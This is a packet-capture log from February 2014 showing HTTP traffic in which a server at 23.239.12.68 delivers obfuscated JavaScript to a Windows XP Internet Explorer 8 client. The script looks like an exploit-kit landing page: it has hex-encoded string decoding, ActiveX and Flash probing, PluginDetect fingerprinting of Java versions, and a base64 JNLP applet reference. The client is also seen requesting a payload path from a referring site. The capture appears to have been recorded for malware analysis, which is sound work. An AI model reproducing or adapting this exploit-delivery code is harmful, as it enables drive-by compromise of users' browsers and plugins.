Feb 27, 2014 17:54:24.197962999 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 36 27 29 2c 79 7a 53 4a 75 3d 21 30 2c 44 36 33 76 43 47 3d 4a 59 39 58 4a 28 27 34 34 34 38 35 32 37 64 35 31 30 33 27 20 09 0d 2f 2a 6f 79 63 4f 54 41 31 44 64 36 46 70 2a 2f 2c 27 37 32 36 36 36 32 Data Ascii: ShockwaveFlash.6'),yzSJu=!0,D63vCG=JY9XJ('4448527d5103' /oycOTA1Dd6Fp/,'72666253633247754f'/KPz34ms4agdys0SX7/); return } /4/catch(cR){{ try{ wDp=new ActiveXObject('ShockwaveFlash.ShockwaveFlash'),yzSJu=!0,D63vCG	83
Feb 27, 2014 17:54:24.197969913 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 33 32 34 37 37 35 34 66 27 20 20 2f 2a 67 76 6a 34 36 67 6f 51 54 42 74 47 62 4f 4f 79 62 79 61 6c 63 47 79 75 4a 57 68 7a 7a 4e 2a 2f 29 3b 7d 0a 29 28 29 0a 29 3c 3d 30 7c 7c 64 41 4a 31 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 20 20 20 20 20 Data Ascii: 3247754f' /gvj46goQTBtGbOOybyalcGyuJWhzzN/);})())<=0\|\|dAJ1((function(){ return JY9XJ('43574c6b4d0a7745614b52','72666253633247754f'/y41KuBKvE0IReDdoA/);})() )>=0&&dAJ1(JY9XJ('43544c634d0269417c' /*mE24a7qBzjRvi6MrqbEw	85
Feb 27, 2014 17:54:24.198049068 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 72 65 74 75 72 6e 20 20 20 20 20 20 20 27 68 47 6b 51 37 43 77 32 6e 41 2d 73 44 45 30 5a 6d 6e 34 73 51 35 45 75 5f 6e 72 59 4a 39 45 62 35 68 54 73 4f 4e 4d 4f 45 31 70 62 43 5f 56 42 27 3b 7d 20 0b 0b 66 75 6e 63 74 69 6f 6e 20 47 4b 73 58 79 Data Ascii: return 'hGkQ7Cw2nA-sDE0Zmn4sQ5Eu_nrYJ9Eb5hTsONMOE1pbC_VB';} function GKsXys(){ return 'TDljUm5zb2xobV92Y00tZENhaEtkcVNDMkItV0ZUdUl0SFB0Z04xdHRVcFlFbF9yZWExODI3NDEzZTFmZjg0YzFmMmUwNGE1MzM5NWExZmNkODEzMWM1Mg%3D%3D';} var	86
Feb 27, 2014 17:54:24.198204041 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 20 09 2f 2a 7a 76 74 66 58 53 7a 41 4b 37 34 61 78 47 71 6a 6a 33 6f 56 76 62 6e 47 50 47 64 4b 72 47 2a 2f 3d 3d 2f 2a 4b 44 44 50 6b 67 48 37 6b 54 68 64 62 4d 34 52 69 52 79 32 56 66 77 71 41 71 48 6a 75 37 64 4d 47 42 4d 57 2a 2f 27 31 27 29 Data Ascii: /zvtfXSzAK74axGqjj3oVvbnGPGdKrG/==/KDDPkgH7kThdbM4RiRy2VfwqAqHju7dMGBMW/'1') return 'EoDgwO8EW5EKuirhtrpofaJPQHqQclBlZJwjiO_6QXZIaLYp'; else return 'OZoo4b4RMlbNu_wn5XUobSxQ-GNofD059RfhU-qLLrFy0fA8';}/*PcEvMFMwA4j9oZ	88
Feb 27, 2014 17:54:24.198216915 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 73 65 58 68 35 72 42 6a 37 58 54 39 64 4c 48 52 71 72 76 39 54 68 57 2a 2f 29 2b 4a 59 39 58 4a 28 27 36 66 34 63 31 61 35 31 37 32 36 63 34 31 31 38 33 34 32 37 32 62 34 63 31 34 32 36 30 62 31 30 35 32 31 38 34 32 37 30 37 31 30 33 35 37 30 35 Data Ascii: seXh5rBj7XT9dLHRqrv9ThW/)+JY9XJ('6f4c1a51726c411834272b4c14260b1052184270710357052b2e18151b373d09084d2f3d1c59062d2c185c00206214181c26220f5e182f3b091809222c1f5d4d6e290d410e736f04411b3e77431a','4d6c356f4e'/vsmkNqzbyy2cojjrL*/)+j0()+(function(	89
Feb 27, 2014 17:54:24.198359013 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 3d 22 6e 75 6d 62 65 72 22 7d 2c 69 73 53 74 72 4e 75 6d 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 28 74 79 70 65 6f 66 20 62 3d 3d 22 73 74 72 69 6e 67 22 26 26 28 2f 5c 64 2f 29 2e 74 65 73 74 28 62 29 29 7d 2c 67 65 74 4e 75 6d Data Ascii: ="number"},isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return	90
Feb 27, 2014 17:54:24.246001959 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6e 73 2c 67 3d 22 22 2c 66 2c 62 2c 6d 3b 66 6f 72 28 66 3d 30 3b 66 3c 61 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 7b 6d 3d 61 5b 66 5d 2e 64 65 73 63 72 69 70 74 69 6f 6e 7c 7c 67 3b 62 3d 61 5b 66 5d 2e 6e 61 6d 65 7c 7c 67 3b 69 66 28 28 68 2e 74 Data Ascii: ns,g="",f,b,m;for(f=0;f<a.length;f++){m=a[f].description\|\|g;b=a[f].name\|\|g;if((h.test(m)&&(!d\|\|d.test(RegExp.leftContext+RegExp.rightContext)))\|\|(h.test(b)&&(!d\|\|d.test(RegExp.leftContext+RegExp.rightContext)))){if(!k\|\|!(k.test(m)\|\|k.test(b)))	92
Feb 27, 2014 17:54:24.393819094 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 7b 64 3d 6e 65 77 20 62 2e 41 58 4f 28 61 29 7d 63 61 74 63 68 28 63 29 7b 7d 3b 72 65 74 75 72 6e 20 64 7d 2c 62 72 6f 77 73 65 72 3a 7b 7d 2c 49 4e 49 54 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 6e 69 74 2e 6c 69 62 72 61 72 79 28 Data Ascii: {d=new b.AXO(a)}catch(c){};return d},browser:{},INIT:function(){this.init.library(this)},init:{$:1,hasRun:0,objProperties:function(d,e,b){var a,c={};if(e&&b){if(e[b[0]]===1&&!d.isArray(e)&&!d.isFunc(e)&&!d.isString(e)&&!d.isNum(e)){for(a=0;a<b	93
Feb 27, 2014 17:54:24.487195969 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6c 6c 3b 69 66 28 62 72 6f 77 73 65 72 2e 69 73 49 45 29 7b 62 72 6f 77 73 65 72 2e 76 65 72 49 45 3d 28 24 2e 69 73 4e 75 6d 28 64 6f 63 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 29 26 26 64 6f 63 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 3e 3d 37 3f Data Ascii: ll;if(browser.isIE){browser.verIE=($.isNum(doc.documentMode)&&doc.documentMode>=7?doc.documentMode:0)\|\|((/^(?:.?[^a-zA-Z])??(?:MSIE\|rv\s\:)\s(\d+\.?\d)/i).test(userAgent)?parseFloat(RegExp.$1,10):7)};browser.ActiveXEnabled=!1;browser.Activ	94
Feb 27, 2014 17:54:24.487214088 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 24 31 29 3a 6e 75 6c 6c 3b 61 2e 69 73 4f 70 65 72 61 3d 28 2f 4f 70 65 72 61 5c 73 2a 5b 5c 2f 5d 3f 5c 73 2a 28 5c 64 2b 5c 2e 3f 5c 64 2a 29 2f 69 29 2e 74 65 73 74 28 63 29 3b 61 2e 76 65 72 4f 70 65 72 61 3d 61 2e 69 73 4f 70 65 72 61 26 26 Data Ascii: $1):null;a.isOpera=(/Opera\s[\/]?\s(\d+\.?\d)/i).test(c);a.verOpera=a.isOpera&&((/Version\s\/\s(\d+\.?\d)/i).test(c)\|\|1)?parseFloat(RegExp.$1,10):null},library:function(c){var e=this,d=document,b,a;c.init.objProperties(c,c,["$",c]);for(a	96
Feb 27, 2014 17:54:24.487216949 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 3b 72 65 74 75 72 6e 20 30 7d 3b 72 65 74 75 72 6e 20 61 7d 2c 68 61 73 4d 69 6d 65 54 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 69 66 28 21 62 2e 62 72 6f 77 73 65 72 2e 69 73 49 45 26 Data Ascii: ;return 0};return a},hasMimeType:function(b){var a=function(d){if(!b.browser.isIE&&d&&navigator&&navigator.mimeTypes){var g,f,c,e=b.isArray(d)?d:(b.isString(d)?[d]:[]);for(c=0;c<e.length;c++){if(b.isString(e[c])&&/[^\s]/.test(e[c])){g=navigato	97
Feb 27, 2014 17:54:24.487221003 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6e 76 65 72 74 5f 28 68 2c 62 2c 68 2e 4c 6f 77 65 72 5b 62 5d 29 3b 69 66 28 64 26 26 66 2e 63 6f 6d 70 61 72 65 4e 75 6d 73 28 63 2c 67 3f 64 3a 68 2e 4c 6f 77 65 72 5b 62 5d 29 3e 3d 30 26 26 28 21 62 7c 7c 66 2e 63 6f 6d 70 61 72 65 4e 75 6d Data Ascii: nvert_(h,b,h.Lower[b]);if(d&&f.compareNums(c,g?d:h.Lower[b])>=0&&(!b\|\|f.compareNums(c,g?e.convert_(h,b,h.Upper[b]):h.Upper[b])<0)){a.v=e.convert_(h,b,c,g);a.x=b;break}}}return a},isMin:function(g,f){var d=this,e=g.$,c,b,a=0;d.init(g);return a}	99
Feb 27, 2014 17:54:24.487363100 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 64 69 76 49 44 3a 22 70 6c 75 67 69 6e 64 65 74 65 63 74 22 2c 64 69 76 43 6c 61 73 73 3a 22 64 6f 4e 6f 74 52 65 6d 6f 76 65 22 2c 64 69 76 57 69 64 74 68 3a 35 30 2c 67 65 74 44 69 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 Data Ascii: divID:"plugindetect",divClass:"doNotRemove",divWidth:50,getDiv:function(){var a=this;return a.div\|\|document.getElementById(a.divID)\|\|null},isDivPermanent:function(){var b=this,c=b.$,a=b.getDiv();return a&&c.isString(a.className)&&a.className.t	100
Feb 27, 2014 17:54:24.561151981 MEZ	1048	80	192.168.0.18	23.239.12.68	GET /EoDgwO8EW5EKuirhtrpofaJPQHqQclBlZJwjiO_6QXZIaLYp HTTP/1.1 Accept: / Accept-Language: en-US Referer: http://northwesternfoods.com/sg3oyoe0v2 x-flash-version: 11,1,102,62 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Host: northwesternfoods.com Connection: Keep-Alive	101
Feb 27, 2014 17:54:24.801261902 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 61 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7b 74 72 79 7b 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 29 7d 63 61 74 63 68 28 68 29 7b 7d 61 3d 6e 75 6c 6c 3b 66 2e 64 69 76 3d 6e 75 6c 6c 7d 7d 7d 7d 2c 77 69 64 74 Data Ascii: a.parentNode){try{a.parentNode.removeChild(a)}catch(h){}a=null;f.div=null}}}},width:function(){var g=this,e=g.DOM,f=e.$,d=g.span,b,c,a=-1;b=d&&f.isNum(d.scrollWidth)?d.scrollWidth:a;c=d&&f.isNum(d.offsetWidth)?d.offsetWidth:a;return c>0?c:(b>0	102
Feb 27, 2014 17:54:24.801270008 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 7b 62 2e 63 6f 75 6e 74 3d 66 7d 69 66 28 66 2d 62 2e 63 6f 75 6e 74 3e 3d 35 29 7b 72 65 74 75 72 6e 20 31 7d 7d 7d 7d 63 61 74 63 68 28 71 29 7b 7d 72 65 74 75 72 6e 20 62 2e 70 69 3f 2d 30 2e 31 3a 30 7d 2c 73 65 74 53 74 79 6c 65 3a 66 75 6e Data Ascii: {b.count=f}if(f-b.count>=5){return 1}}}}catch(q){}return b.pi?-0.1:0},setStyle:function(b,h){var c=this,d=c.$,g=b.style,a,f;if(g&&h){for(a=0;a<h.length;a=a+2){try{g[h[a]]=h[a+1]}catch(f){}}}},insertDivInBody:function(a,h){var j=this,d=j.$,g,b=	104
Feb 27, 2014 17:54:24.801273108 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 65 3a 62 2c 6f 75 74 65 72 48 54 4d 4c 3a 76 2c 44 4f 4d 3a 73 2c 74 69 6d 65 3a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 77 69 64 74 68 3a 73 2e 77 69 64 74 68 2c 6f 62 6a 3a 73 2e 6f 62 6a 2c 72 65 61 64 79 53 74 61 74 65 Data Ascii: e:b,outerHTML:v,DOM:s,time:new Date().getTime(),width:s.width,obj:s.obj,readyState:s.readyState,objectProperty:s.objectProperty};if(n&&n.parentNode){s.setStyle(p,s.defaultStyle.concat(["display","inline"]).concat(o?[]:["fontSize",(s.pluginSize	105
Feb 27, 2014 17:54:24.801275969 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 73 74 28 63 29 29 7b 61 3d 28 52 65 67 45 78 70 2e 24 31 29 2e 73 70 6c 69 74 28 22 2f 22 29 3b 66 3d 7b 6e 61 6d 65 3a 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 2c 65 78 74 3a 52 65 67 45 78 70 2e 24 32 2c 66 75 6c 6c 3a 63 7d 3b 61 5b 61 2e 6c 65 Data Ascii: st(c)){a=(RegExp.$1).split("/");f={name:a[a.length-1],ext:RegExp.$2,full:c};a[a.length-1]="";f.path=a.join("/")}return f},z:0},Plugins:{java:{$:1,mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],mimeType	106
Feb 27, 2014 17:54:24.801279068 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 69 6f 6e 28 62 29 7b 76 61 72 20 64 3d 74 68 69 73 2c 65 3d 64 2e 24 2c 61 3d 64 2e 6e 61 76 69 67 61 74 6f 72 2c 63 3d 31 3b 69 66 28 21 62 7c 7c 21 61 2e 6a 61 76 61 45 6e 61 62 6c 65 64 28 29 7c 7c 28 21 65 2e 62 72 6f 77 73 65 72 2e 69 73 49 Data Ascii: ion(b){var d=this,e=d.$,a=d.navigator,c=1;if(!b\|\|!a.javaEnabled()\|\|(!e.browser.isIE&&!a.mimeObj)\|\|(e.browser.isIE&&!e.browser.ActiveXEnabled)){c=0}else{if(e.OS>=20){}else{if(d.info&&d.info.getPlugin2Status()<0&&d.info.BrowserRequiresPlugin2())	108
Feb 27, 2014 17:54:24.801435947 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6d 65 6e 74 54 6f 6f 6c 6b 69 74 22 5d 2c 69 73 44 69 73 61 62 6c 65 64 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 74 68 69 73 2c 64 3d 63 2e 24 2c Data Ascii: mentToolkit"],isDisabled:function(a){var c=this,d=c.$,	108
Feb 27, 2014 17:54:25.042165995 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 62 3d 64 2e 62 72 6f 77 73 65 72 3b 69 66 28 21 61 26 26 28 21 64 2e 44 4f 4d 2e 69 73 45 6e 61 62 6c 65 64 2e 6f 62 6a 65 63 74 54 61 67 28 29 7c 7c 28 62 2e 69 73 47 65 63 6b 6f 26 26 64 2e 63 6f 6d 70 61 72 65 4e 75 6d 73 28 62 2e 76 65 72 47 Data Ascii: b=d.browser;if(!a&&(!d.DOM.isEnabled.objectTag()\|\|(b.isGecko&&d.compareNums(b.verGecko,d.formatNum("1.6"))<=0)\|\|(b.isSafari&&d.OS==1&&(!b.verSafari\|\|d.compareNums(b.verSafari,"5,1,0,0")<0))\|\|b.isChrome)){return 1}return 0},query:function(n){va	110
Feb 27, 2014 17:54:25.042176962 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 3f 6f 2e 65 6e 61 62 6c 65 64 50 6c 75 67 69 6e 3a 30 3b 67 3d 6f 26 26 6e 2e 74 65 73 74 28 6f 2e 74 79 70 65 7c 7c 64 29 3f 66 2e 66 6f 72 6d 61 74 4e 75 6d 28 66 2e 67 65 74 4e 75 6d 28 52 65 67 45 78 70 2e 24 31 29 29 3a 30 3b 69 66 28 67 26 Data Ascii: ?o.enabledPlugin:0;g=o&&n.test(o.type\|\|d)?f.formatNum(f.getNum(RegExp.$1)):0;if(g&&m&&(m.description\|\|m.name)){if(!k[h+g]){i.length++}k[h+g]=o.type;if(f.compareNums(g,c)>0){c=g}}}g=k[h+c];if(g){o=f.hasMimeType(g);i.mimeObj=o;i.pluginObj=o?o.en	111
Feb 27, 2014 17:54:25.042180061 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 65 61 72 63 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 24 2e 63 6f 64 65 62 61 73 65 2e 73 65 61 72 63 68 28 74 68 69 73 29 7d 2c 50 61 72 61 6d 54 61 67 73 3a 27 3c 70 61 72 61 6d 20 6e 61 6d 65 3d 22 63 6f 64 65 Data Ascii: earch:function(){return this.$.codebase.search(this)},ParamTags:'<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',DIGITMAX:[[16,64],[0,0,512],0,[0,0,0,256],0,[0,0,0,1],[0,0,0,64],[0,0,0,32]],DIGITMIN:[1	112
Feb 27, 2014 17:54:25.042184114 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 73 48 61 73 3a 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 64 3d 74 68 69 73 2c 62 3b 66 6f 72 28 62 3d 30 3b 62 3c 64 2e 61 6c 6c 6f 77 65 64 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 7b 69 66 28 64 2e 61 6c 6c 6f 77 65 64 5b 62 5d 3d 3d 3d 63 29 Data Ascii: sHas:function(c){var d=this,b;for(b=0;b<d.allowed.length;b++){if(d.allowed[b]===c){return 1}}return 0},saveAsVerifyTagsArray:function(c){var b=this,d=b.$,a;if(d.isArray(c)){for(a=1;a<b.allowed.length;a++){if(c.length>a-1&&d.isNum(c[a-1])){if(c	114
Feb 27, 2014 17:54:25.042186975 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 75 6d 28 22 34 22 29 29 3c 30 29 29 7c 7c 28 61 2e 76 65 72 4f 70 65 72 61 26 26 61 2e 76 65 72 4f 70 65 72 61 3c 31 30 29 29 7b 72 65 74 75 72 6e 20 30 7d 72 65 74 75 72 6e 20 31 7d 2c 7a 3a 30 7d 2c 63 61 6e 5f 49 6e 73 65 72 74 5f 51 75 65 72 Data Ascii: um("4"))<0))\|\|(a.verOpera&&a.verOpera<10)){return 0}return 1},z:0},can_Insert_Query:function(d){var b=this,c=b.results[0][0],a=b.getResult()[0];if(b.HTML[d]\|\|(d==0&&c!==null&&!b.isRange(c))\|\|(d==0&&a&&!b.isRange(a))){return 0}return!b.isDisabl	115
Feb 27, 2014 17:54:25.042356014 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 67 68 74 22 2c 6d 5d 3a 5b 5d 29 2c 6a 3d 5b 22 6d 61 79 73 63 72 69 70 74 22 2c 22 74 72 75 65 22 5d 2c 70 3d 5b 22 73 63 72 69 70 74 61 62 6c 65 22 2c 22 74 72 75 65 22 2c 22 63 6f 64 65 62 61 73 65 5f 6c 6f 6f 6b 75 70 22 2c 22 66 61 6c 73 65 Data Ascii: ght",m]:[]),j=["mayscript","true"],p=["scriptable","true","codebase_lookup","false"].concat(j),a=k.navigator,d=!c.browser.isIE&&a.mimeObj&&a.mimeObj.type?a.mimeObj.type:k.mimeType[0];if(g==1){return c.browser.isIE?c.DOM.insert("object",["type"	116
Feb 27, 2014 17:54:25.284048080 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6c 74 48 54 4d 4c 2c 65 2c 67 3d 64 2e 66 69 6c 65 2e 67 65 74 56 61 6c 69 64 28 63 29 3b 69 66 28 62 2e 73 68 6f 75 6c 64 5f 49 6e 73 65 72 74 5f 51 75 65 72 79 28 30 29 29 7b 69 66 28 63 2e 4f 54 46 3c 32 29 7b 63 2e 4f 54 46 3d 32 7d 3b 66 5b Data Ascii: ltHTML,e,g=d.file.getValid(c);if(b.should_Insert_Query(0)){if(c.OTF<2){c.OTF=2};f[0]=[0,0];e=h?b.codebase.isMin(h):b.codebase.search();if(e){f[0][0]=h?b.setRange(e,h):e}b.active[0]=e?1.5:-1}if(!g){return b.getResult()}if(!b.DummySpanTagHTML){b	118
Feb 27, 2014 17:54:25.284080029 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 73 4a 61 76 61 41 63 74 69 76 65 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 66 3d 74 68 69 73 2c 63 3d 66 2e 24 24 2c 61 2c 62 2c 65 3d 2d 39 3b 66 6f 72 28 61 3d 30 3b 61 3c 63 2e 61 70 70 6c 65 74 2e 48 54 4d 4c 2e 6c 65 6e 67 74 68 3b Data Ascii: sJavaActive:function(d){var f=this,c=f.$$,a,b,e=-9;for(a=0;a<c.applet.HTML.length;a++){b=f.isAppletActive(a,d);if(b>e){e=b}}return e},isAppletActive:function(e,g){var h=this,f=h.$,b=h.$$,l=b.navigator,a=b.applet,i=a.HTML[e],d=a.active,k,c=0,j,	120
Feb 27, 2014 17:54:25.284091949 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 65 73 20 3d 20 22 30 30 30 22 20 2b 20 6d 61 74 63 68 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 28 72 65 73 29 2e 73 75 62 73 74 72 28 72 65 73 2e 6c 65 6e 67 74 68 20 2d Data Ascii: var res = "000" + match; return (res).substr(res.length - 3) } var n = num.split(/[\_,.]+/); result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);	121
Feb 27, 2014 17:54:25.284104109 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 6d 5a 73 61 57 35 6c 4c 57 46 73 62 47 39 33 5a 57 51 76 50 67 6f 67 49 43 41 67 49 43 41 67 49 44 77 76 61 57 35 6d 62 33 4a 74 59 58 52 70 62 32 34 2b 43 69 41 67 49 43 41 4b 49 43 41 67 49 44 78 79 5a 58 4e 76 64 58 4a 6a 5a 58 4d 2b 43 69 41 Data Ascii: mZsaW5lLWFsbG93ZWQvPgogICAgICAgIDwvaW5mb3JtYXRpb24+CiAgICAKICAgIDxyZXNvdXJjZXM+CiAgICAgICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiAvPgogICAgICAgICAgICAgICAgPGphciBocmVmPSJHZExIM3dT	122
Feb 27, 2014 17:54:25.284112930 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 31 61 36 36 32 65 30 65 31 65 33 39 35 64 37 62 37 61 27 20 0a 2f 2a 6b 4a 56 4b 47 4b 7a 71 4d 79 54 31 69 67 6c 71 43 73 50 2a 2f 2c 27 34 36 35 38 36 66 37 32 34 63 33 38 27 20 0a 20 29 3b 7d 2f 2a 43 4b 79 6d 35 73 6c 51 53 59 6a 35 46 47 78 Data Ascii: 1a662e0e1e395d7b7a' /kJVKGKzqMyT1iglqCsP/,'46586f724c38' );}/CKym5slQSYj5FGxe1qc0Wm/)()+GKsXys()+JY9XJ('6477514e635724320a113806' ,'46586f724c38' ) /G5rytFT3SOrpcf9NRq2/)} else { /UK2EHqTXZNzANuY/if(navigator.userAgent.indexO	124
Feb 27, 2014 17:54:25.284959078 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 29 3b 7d 0a 29 28 29 2b 6a 30 28 29 2b 4a 59 39 58 4a 28 27 36 39 27 20 0b 0b 2c 27 34 36 35 38 36 66 37 32 34 63 33 38 27 0a 29 2b 6b 4d 24 55 39 63 28 29 2b 4a 59 39 58 4a 28 27 36 34 36 36 35 33 30 32 32 64 34 61 32 37 33 35 34 66 31 63 32 64 Data Ascii: );})()+j0()+JY9XJ('69' ,'46586f724c38')+kM$U9c()+JY9XJ('646653022d4a27354f1c2d5523654d17344c233d0a116e1830390307290564' ,'46586f724c38'/Sl8del4dF6YU71q5uZq2ywVhbtha8JcwPS2whjoTv0TCDuj/)+GKsXys()+(function(){ return JY9XJ('647	124
Feb 27, 2014 17:54:25.524427891 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 7d 20 0b 09 2f 2a 44 63 6d 69 65 65 52 30 59 48 77 37 2a 2f 7d 2f 2a 6c 45 69 6a 7a 35 50 48 6c 42 56 50 58 44 52 4d 57 6a 39 31 56 49 74 30 69 36 2a 2f 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 20 0a 76 61 72 20 4e 6a 4b 38 62 Data Ascii: } /DcmieeR0YHw7/}/lEijz5PHlBVPXDRMWj91VIt0i6/</script><script> var NjK8b3NjT55, O066cdPpxwsa3, T3vszTB8y1cTsjn, PrcxOdgluWn, QqnJdyNtn6Ag5i, Ju5RkC0tyaBjly6, KM4hrKji,WsYK4om6n8tHv4 = [];NjK8b3NjT55=(function(){ return	126
Feb 27, 2014 17:54:25.524435997 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 20 20 20 20 7d 20 20 20 20 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 53 74 79 6c 65 53 68 65 65 74 28 29 2e 63 73 73 54 65 78 74 20 3d 20 4b 4d 34 68 72 4b 6a 69 3b 0a 20 20 20 20 77 69 6e 64 6f 77 5b 4e 6a 4b 38 62 33 4e 6a 54 Data Ascii: } document.createStyleSheet().cssText = KM4hrKji; window[NjK8b3NjT55] = function () { return 'ODEzbHV4NkV5U0hQNFctODFtMFlIWl9qZEJJdDFiVi1EMzRyN1NkdENRcWNrQS1l' }</script><S2s5kgy018tSp4:oval><S2s5kgy018tSp4:stroke id='RJHho	127
Feb 27, 2014 17:54:25.524437904 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 33 37 39 27 2f 2a 65 75 4d 69 78 74 78 42 46 2a 2f 29 2c 6d 41 6d 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 20 20 20 72 65 74 75 72 6e 20 20 20 20 20 20 20 20 20 4a 59 39 58 4a 28 27 31 65 33 63 30 62 32 32 31 34 35 30 33 64 30 36 27 20 0a 2c 27 Data Ascii: 379'/euMixtxBF/),mAm=(function(){ return JY9XJ('1e3c0b2214503d06' ,'6b526e5177314d6379');} )(),NO4o7E=JY9XJ('093d0a28'/u0A3EQlVZS51PZDcKvJ0ICW8Ju8qn/,'6b526e5177314d6379' ),$SHJw=(function(){ return JY9XJ('0a221e3	128
Feb 27, 2014 17:54:25.524441004 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 37 39 27 20 0a 2f 2a 38 6c 6e 35 4c 71 71 33 75 4d 2a 2f 29 2c 46 53 44 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 20 20 20 20 20 20 20 20 4a 59 39 58 4a 28 27 30 61 32 30 31 63 33 30 30 65 27 20 0a Data Ascii: 79' /8ln5Lqq3uM/),FSD=(function(){ return JY9XJ('0a201c300e' ,'6b526e5177314d6379'/ekFmaVyd1Wy/);})(),rJ5S=null,RyL=null,EnOy=null,HJ06=null,U6=null,tD8=null,TqXw=null;N9jriQd30xn7=0;E5hqc3n1Mzvy=false;function Nky2(lU	130
Feb 27, 2014 17:54:25.524444103 MEZ	80	1046	23.239.12.68	192.168.0.18	Data Raw: 31 37 37 33 31 34 64 36 33 37 39 27 0a 29 3b 48 67 52 47 44 5b 24 51 65 56 65 73 5d 28 72 4f 31 5a 68 0a 29 3b 72 4f 31 5a 68 3d 4a 59 39 58 4a 28 27 35 62 36 61 34 62 32 34 34 37 30 34 37 64 35 62 35 63 31 65 36 32 35 38 36 31 34 66 31 34 33 38 Data Ascii: 177314d6379');HgRGD[$QeVes](rO1Zh);rO1Zh=JY9XJ('5b6a4b2447047d5b5c1e6258614f1438534b5b654b2447757d545c','6b526e5177314d6379'/dg4tlXoPf4mC/);HgRGD[$QeVes](rO1Zh );rO1Zh=(function(){ return JY9XJ('1e625c61421438533d5b654b2447757d545c	131
